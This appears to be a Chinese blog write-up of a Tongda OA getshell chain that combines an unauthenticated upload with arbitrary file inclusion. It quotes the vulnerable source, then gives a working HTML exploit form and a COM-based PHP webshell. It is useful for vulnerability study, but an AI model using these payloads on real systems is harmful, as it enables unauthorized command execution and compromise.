影响范围
- V11.3版
- 2017版
- 2016版
- 2015版
- 2013版
- 2013增强版
漏洞简介
通过未授权访问进入上传点上传图片马,使用任意文件包含getshell
漏洞分析
未授权访问文件上传
漏洞点位于/ispirit/im/upload.php
,首先看到如下代码
1 2 3 4 5 6 7 8 9 10 11
| $P = $_POST["P"]; if (isset($P) || ($P != "")) { ob_start(); include_once "inc/session.php"; session_id($P); session_start(); session_write_close(); } else { include_once "./auth.php"; }
|
auth.php
是进行身份认证相关的,如果我们POST传入了一个P
那么就会实现绕过,但是由于还有后续验证所以并没有完全绕过

接着我们继续看代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $DEST_UID = $_POST["DEST_UID"]; $dataBack = array(); if (($DEST_UID != "") && !td_verify_ids($ids)) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); }
if (strpos($DEST_UID, ",") !== false) { } else { $DEST_UID = intval($DEST_UID); } if ($DEST_UID == 0) { if ($UPLOAD_MODE != 2) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); } }
|
这里还有如下代码
1 2 3 4 5 6 7
| if ($DEST_UID == 0) { if ($UPLOAD_MODE != 2) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); } }
|
如果传入DEST_UID为0,那么UPLOAD_MODE就必须为2(这样也是可以的)
我们这里传入DEST_UID不为空也不为0,走到了如下代码
1 2 3 4 5 6 7 8 9 10
| $MODULE = "im";
if (1 <= count($_FILES)) { if ($UPLOAD_MODE == "1") { if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) { $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]); } }
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
|
可以看到上传的参数名为ATTACHMENT
,将文件名进行了一次URL解码,使用upload()
函数上传,跟进inc/utility_file.php:upload
,直接看到关键代码部分
1 2 3
| if (!is_uploadable($ATTACH_NAME)) { $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1)); }
|
跟进is_uploadable()函数,也直接贴关键代码部分
1 2 3 4 5 6 7 8 9 10 11
| function is_uploadable($FILE_NAME) { $POS = strrpos($FILE_NAME, ".");
if ($POS === false) { $EXT_NAME = $FILE_NAME; } else { if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") { return false; }
|
这里黑名单限制了后缀不能为php
,可以使用.phtml、.cpt
等,windows下可以上传.php.
绕过,也不影响我们上传图片马,为后面任意文件包含做铺垫
漏洞复现
没有上传点我们就构造一个上传点
1 2 3 4 5 6 7 8 9 10 11
| <html> <body> <form action="http://192.168.117.128:8888/ispirit/im/upload.php" method="post" enctype="multipart/form-data"> <input type="text"name='P' value = 1 ></input> <input type="text"name='UPLOAD_MODE' value = 1 ></input> <input type="text" name="DEST_UID" value = 1></input> <input type="file" name="ATTACHMENT"></input> <input type="submit" ></input> </body> </form> </html>
|
成功上传图片马

既然知道了可以上传,那么上传路径也要知道,其实不用继续代码审计也能轻易得到,比如搜索后缀,文件监控等
上传路径位于attach/im/2010

任意文件包含
漏洞触发点位于ispirit/interface/gateway.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json);
foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val;
foreach ($val as $keys => $value ) { $keys = $value; } }
if ($key == "url") { $url = $val; } }
if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); }
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url; } }
exit(); }
|
这里好奇为什么可以直接传入json的值,$json是凭空出现的,可能是注册了全局变量吧
这里很简单,传入json让键为url,值里面包含general、ispirit、module三者之一就行,然后通过目录跳转就实现了任意文件包含,包含我们之前上传的图片马

但是发现无法执行命令,因为通达OA有disable_function
,于是找了一个能过disable_function
的webshell
1 2 3 4 5 6 7 8
| <?php $command=$_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
|
重新上传,经过无数次测试,我发现我的图片马还是不能执行命令,可能是哪里解析出错了,为了干净一点我上传了phtml
后缀的文件,内容就是上面的webshell,包含一下成功getshell

一键getshell
自己写了一个利用工具
